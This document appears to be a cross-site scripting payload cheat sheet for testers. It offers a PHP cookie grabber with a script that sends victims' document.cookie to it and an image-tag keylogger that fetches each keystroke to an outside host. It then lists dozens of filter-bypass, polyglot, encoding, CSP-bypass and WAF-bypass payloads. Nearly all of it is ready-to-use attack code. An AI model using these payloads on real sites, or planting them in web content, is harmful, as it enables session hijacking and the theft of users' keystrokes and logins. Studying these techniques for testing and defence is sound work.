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Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
- Exploit code or POC
- Identify an XSS endpoint
- XSS in HTML/Applications
- XSS in wrappers javascript and data URI
- XSS in files
- Polyglot XSS
- Filter Bypass and Exotic payloads
- Common WAF Bypas
Exploit code or POC
Cookie grabber for XSS
<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
Keylogger for XSS
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
More exploits at http://www.xss-payloads.com/payloads-list.html?a#category=all:
- Taking screenshots using XSS and the HTML5 Canvas
- JavaScript Port Scanner
- Network Scanner
- .NET Shell execution
- Redirect Form
- Play Music
Identify an XSS endpoint
<script>debugger;</script>
XSS in HTML/Applications
XSS Basic
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
Svg payload
<svg onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
XSS for HTML5
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
XSS using script tag (external payload)
<script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
XSS in META tag
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
XSS in Hidden input
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
DOM XSS
#"><img src=/ onerror=alert(2)>
XSS in JS Context (payload without quote/double quote from @brutelogic
-(confirm)(document.domain)//
; alert(1);//
XSS URL
URL/<svg onload=alert(1)>
URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
XSS in wrappers javascript and data URI
XSS with javascript:
javascript:prompt(1)
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
javascript:confirm(1)
We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)
Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
XSS with data:
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
XSS with vbscript: only IE
vbscript:msgbox("XSS")
XSS in files
** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
XSS in XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
XSS in SVG
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
XSS in SVG (short)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
XSS in SWF flash application
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
InsecureFlashFile.swf
location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/
open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/
http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/
eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain)
more payloads in ./files
XSS in SWF flash application
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
XSS in CSS
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
background-color: #cccccc;
}
</style>
</head>
<body>
<div>lol</div>
</body>
</html>
Polyglot XSS
Polyglot XSS - 0xsobky
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Polyglot XSS - Ashar Javed
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
Polyglot XSS - Mathias Karlsson
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
Polyglot XSS - Rsnake
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Polyglot XSS - Daniel Miessler
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
Polyglot XSS - @s0md3v
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
Filter Bypass and exotic payloads
Bypass case sensitive
<sCrIpt>alert(1)</ScRipt>
Bypass tag blacklist
<script x>
<script x>alert('XSS')<script y>
Bypass word blacklist with code evaluation
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
<img src='1' onerror='alert(0)' <
Bypass quotes for string
String.fromCharCode(88,83,83)
Bypass quotes in script tag
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';`?>
</script>
</html>
Bypass quotes in mousedown event
<a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>
You can bypass a single quote with ' in an on mousedown event handler
Bypass dot filter
<script>window['alert'](document['domain'])<script>
Bypass parenthesis for string - Firefox
alert`1`
Bypass onxxxx= blacklist
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
<img src='1' onerror/=alert(0) />
Bypass space filter with "/" - IE/Firefox/Chrome/Safari
<img/src='1'/onerror=alert(0)>
Bypass space filter with 0x0c/^L
<svg onload = alert(1) >
$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
Bypass document blacklist
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
Bypass using javascript inside a string
<script>
foo="text </script><script>alert(1)</script>";
</script>
Bypass using an alternate way to execute an alert - @brutelogic
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
Bypass using an alternate way to execute an alert - @404death
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
Bypass using an alternate way to trigger an alert
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);
// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
Bypass ">" using nothing #trololo (you don't need to close your tags)
<svg onload=alert(1)//
Bypass ';' using another character
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
Bypass using HTML encoding
%26%2397;lert(1)
Bypass using Katakana (https://github.com/aemkei/katakana.js)
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
Bypass using Octal encoding
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
Bypass using Unicode
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
Bypass using Unicode converted to uppercase
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k
<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
Bypass using overlong UTF-8
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
Bypass using UTF-7
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Bypass using UTF-16be
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
Bypass using UTF-32
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
BOM character allows you to override charset of the page
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass CSP using JSONP from Google (Trick by @apfeifer27)
//google.com/complete/search?client=chrome&jsonp=alert(1);
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
Bypass using weird encoding or native interpretation to hide the payload (alert())
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="alert(1)" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
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Exotic payloads
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
Common WAF Bypass
Incapsula WAF Bypass - 8th march
anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
Akamai WAF bypass by @zseano - 18th june
?"></script><base%20c%3D=href%3Dhttps:\mysite>
More fun ?
This section will be used for the "fun/interesting/useless" stuff.
Use notification box instead of an alert - by @brutelogic
Note : it requires user permission
Notification.requestPermission(x=>{new(Notification)(1)})
Try here : https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//
Thanks to
- https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
- tbm
- http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
- http://www.thespanner.co.uk/2014/03/21/rpo/
- http://blog.innerht.ml/rpo-gadgets/
- http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
- http://d3adend.org/xss/ghettoBypass
- http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
- http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html
- https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
- https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309